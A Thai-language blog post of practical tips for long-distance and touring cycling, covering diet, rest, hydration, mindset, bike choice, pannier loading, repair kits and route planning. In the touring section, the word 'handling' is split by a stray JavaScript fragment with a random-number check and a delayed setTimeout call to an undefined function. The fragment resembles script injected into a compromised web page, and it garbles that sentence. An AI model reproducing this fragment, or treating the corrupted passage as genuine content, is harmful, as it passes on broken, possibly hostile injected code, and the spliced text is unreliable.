ทิปเล็กๆ น้อยๆ สำหรับการปั่นระยะยาว
สำรับใครที่ต้องการผจญภัยไปในวันเสาร์อาทิตย์ หรือวันหยุดยาว โดยเลือกการปั่นจักรยานทางไกล ไม่ว่าจะเป็นเเบบ Touring หรือ Road cycling เรามีทิปเล็กๆ น้อยๆ สำหรับการปั่นจักรยานระยะทางไกล หรือ Long distance cyling tips มาฝากกันครับ
ช่วงเตรียมตัว
1. ก่อนวันเดินทาง 1-2 วัน เลือกรับประทานอาหารประเภทโปรตีนสูง เพราะมีกรดอะมิโนที่จะช่วยในเรื่องการเสริมสร้างกล้ามเนื้อ
2. นอนผักผ่อนให้เพียงพอ การพักผ่อนให้เพียงพอจะช่วยให้ระบบภูมิคุ้มกันทำงานเป็นปกติ ช่วยให้สมองปลอดโปร่งช่วยเพิ่ม performance ให้กับเราด้วย
3. อย่างน้อยควรมีการฝึกซ่อมปั่นจักรยานต่อเนื่องกัน 5 วัน เพื่อสร้างความคุ้นเคยให้กับกล้ามเนื้อ
ช่วงปั่น
1. เหงื่อเป้นเรื่องสำคัญ การสูญเสียเหงื่อไม่เพียงเเค่น้ำในร่างกายที่หายไป เเต่หมายถึงเเร่ธาตุที่ออกมาพร้อมกันด้วย นักปั่นจึงควรมีการเตรียมน้ำและเครื่องดื่มเกลือเเร่ให้พร้อม หรือจะพกพา Snack bar ที่อุดมไปด้วยคาร์โบไฮเตรตไว้เป็นเเหล่งพลังงานให้เราด้วยก็ได้
2. ควรมีการดื่มน้ำทุกๆ 15-20 นาที หรือดื่มเมื่อมีอาการกระหายน้ำ เพื่อรักษาสมดุลน้ำในร่างกายของเรา หากมีอาการเหนื่อยให้ลองกินพวก snackbar ที่เตรียมมาหรือจะเป็นพวกผลไม้ตากเเห้งก็ได้ อย่างกล้วยตากเเห้งก็ดีเช่นกัน
3. Mind set การปั่นระยะทางไกลจำเป็นต้องมีความตั้งใจสูง อย่าออกปั่นเพราะเพื่อนๆ ชวนอย่างเดียวเเต่ต้องมาจากตัวเราด้วย คืออยากทำเเละตั้งใจทำ มันจะทำให้การปั่นของเราสนุกขึ้นไม่น่าเบื่อ
สำหรับใครที่เป้นสาย Touring ต้องออกเดินทางไกลๆ เราเองก็มีข้อเเนะนำมาฝากเช่นกัน
1. การเลือกใช้จักรยาน เเนะนำให้เลือกเอาเเบบที่ไม่เเพงมากนัก หากเกิดการลักขโมยจะไม่ได้มาเสียใจมากนัก เเละในการเลือกซื้อจักรยานควรดูที่ความทดทานใช้งานง่าย ควบคุม (handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling) ง่าย คล่องตัว เเละต้องนั่งปั่นสบาย (comfortable)
2. ควรมีการติดตั้งกระเป๋าเสริม (Bike Pannier) เพื่อใส่ของที่จำเป็น โดยน้ำหนักควรอยู่ในช่วง 9-20 กิโล เเบ่งเป็นสองส่วน 60/40 ให้ช่วงหน้าจักรยานเราเบากว่าช่วงหลังเพราะมีผลต่อการควบคุมทิศทาง
3. อุปกรณ์ซ่อมจักรยานพื้นฐาน อย่างอุปกรณ์ปะล้อยาง ยางใน ที่สูบลมพกพา เป็นต้น ผู้ปั่นเองก็ควรมีความรู้ในการซ่อมจักรยานเบื้องต้นเช่นกัน
4. น้ำและของกินอย่างน้อยก็ควรมีเก็บสำหรับวันถึงสองวัน ถ้ายิ่งปั่นในเส้นทางที่ไม่มีชุมชนยิ่งต้องเตรียมพร้อมให้ดี
5. เสื้อผ้า ควรเป็นเเบบเบาเเละระบายเหงื่อหรือน้ำได้ดี และควรจัดเก็บได้ง่าย เสื้อกันลมกันฝนก็ควรพกไปด้วย ประเภทเสื้อผ้านั้นก็ขึ้นอยู่กับฤดูกาลเเละสถานที่ปั่น เราจึงควรศึกษาให้ดีก่อนออกปั่น
6. เครื่องเรื่อนเเต่งหน้าไม่ควรเอาไปครับ ไม่ว่าจะเป็น makeup หรือ hair dresser ไม่มีใครมาสนใจหรอกครับ เพราะเรานั่งปั่นจักรยานทั้งวัน คนมองเราเเค่จังหวะที่ผ่านไปมาเเป๊ปเดียวจริง พกไปจะไปเพิ่มน้ำหนักให้กระเป๋าซะอีก
7. สิ่งสุดท้ายคือ การว่างเเผนเส้นทางปั่นไว้ล่วงหน้า ศึกษาเส้นทางปั่น ทั้งลักษณะภูมิประเทศ สภาพอากาศ สถานที่พัก อาหารการกินและพื้นที่ชุมชนให้ดี
